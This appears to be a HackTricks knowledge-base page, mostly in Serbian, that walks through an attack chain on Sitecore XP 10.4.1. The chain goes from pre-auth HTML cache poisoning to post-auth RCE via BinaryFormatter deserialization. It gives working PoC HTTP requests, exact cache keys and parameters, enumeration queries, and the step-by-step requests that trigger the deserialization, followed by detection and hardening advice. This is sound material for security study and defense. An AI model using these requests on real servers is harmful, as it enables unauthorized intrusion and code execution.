Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica sažima praktičan lanac napada protiv Sitecore XP 10.4.1 koji pivotira od pre‑auth XAML handlera do HTML cache poisoning i, kroz authenticated UI flow, do RCE putem BinaryFormatter deserialization. Tehnike se generalizuju na slične Sitecore verzije/komponente i pružaju konkretne primitive za test, detect i harden.
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (June/July 2025)
Vidi takođe:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Ulazna tačka je pre‑auth XAML handler registrovan u web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Dostupno putem:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Stablo kontrola uključuje AjaxScriptManager koji, pri zahtevima događaja, čita polja pod kontrolom napadača i reflektivno poziva metode na ciljnim kontrolama:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Ključno zapažanje: XAML stranica sadrži XmlControl instancu (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl nasleđuje Sitecore.Web.UI.WebControl (Sitecore klasa), koja prolazi kroz ReflectionUtil.Filter allow‑list (Sitecore.*), otključavajući metode na Sitecore WebControl.
Magijska metoda za poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Pošto možemo ciljati xmlcontrol:GlobalHeader i pozivati Sitecore.Web.UI.WebControl metode po imenu, dobijamo pre‑auth arbitrary HtmlCache write primitive.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Napomene:
- __SOURCE je clientID xmlcontrol:GlobalHeader unutar Sitecore.Shell.Xaml.WebControl (obično stabilan, npr. ctl00_ctl00_ctl05_ctl03 jer je izveden iz statičkog XAML-a).
- __PARAMETERS format je Method("arg1","arg2").
Šta zatrovati: konstrukcija Cache ključa
Tipična konstrukcija HtmlCache ključa koju koriste Sitecore kontrole:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Primer ciljane poisoning operacije za poznati sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerisanje stavki koje se mogu keširati i dimenzija “vary by”
Ako je ItemService (pogrešno izložena) anonimno, možete nabrojati komponente koje se mogu keširati kako biste izveli tačne ključeve.
Brza provera:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Navedite stavke koje se mogu keširati i zastavice:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Tražite polja kao što su Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Imena uređaja mogu se nabrojati pomoću:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Enumeracija bočnim kanalom pod ograničenim identitetima (CVE-2025-53694)
Čak i kada ItemService preuzme identitet ograničenog naloga (npr. ServicesAPI) i vrati prazan Results niz, TotalCount i dalje može odražavati pre‑ACL Solr hits. Možete brute‑force item groups/ids pomoću wildcards i posmatrati kako se TotalCount konvergira da biste mapirali interni sadržaj i uređaje:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink u convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Dostupno putem convertToRuntimeHtml pipeline stepa ConvertWebControls, koji traži element sa id-jem {iframeId}_inner i base64 dekodira + deserializuje ga, zatim ubacuje dobijeni string u HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Okidač (autentifikovan, Content Editor rights). Dijalog FixHtml poziva convertToRuntimeHtml. End‑to‑end bez klikova u UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Kompletan lanac
- Pre‑auth napadač zatrova HtmlCache proizvoljnim HTML-om reflektivnim pozivanjem WebControl.AddToCache preko XAML AjaxScriptManager.
- Zatrovani HTML isporučuje JavaScript koji potiče autentifikovanog Content Editor korisnika kroz FixHtml tok.
- Stranica FixHtml pokreće convertToRuntimeHtml → ConvertWebControls, koji deserijalizuje napadačem kontrolisani base64 preko BinaryFormatter → RCE pod Sitecore app pool identitetom.
Detekcija
- Pre‑auth XAML: zahtevi ka
/-/xaml/Sitecore.Shell.Xaml.WebControlsa__ISEVENT=1, sumnjivim__SOURCEi__PARAMETERS=AddToCache(...). - ItemService probing: skokovi wildcard upita ka
/sitecore/api/ssc, velikiTotalCountsa praznimResults. - Pokušaji deserijalizacije:
EditHtml.aspxpraćenoFixHtml.aspx?hdl=...i neuobičajeno veliki base64 u HTML poljima.
Ojačavanje
- Primeni Sitecore zakrpe KB1003667 i KB1003734; ogradi/onemogući pre‑auth XAML handlere ili dodaj strogu validaciju; nadzirati i rate‑limitovati
/-/xaml/. - Ukloni/zameni BinaryFormatter; ograniči pristup convertToRuntimeHtml ili uvedi strogu server-side validaciju tokova za uređivanje HTML-a.
- Zaključa
/sitecore/api/sscza loopback ili autentifikovane role; izbegavati obrasce impersonacije koji leak-uju side‑kanale zasnovane naTotalCount. - Primeni MFA/princip najmanjih privilegija za Content Editor korisnike; preispitaj CSP da smanji uticaj JS steering-a iz cache poisoning-a.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks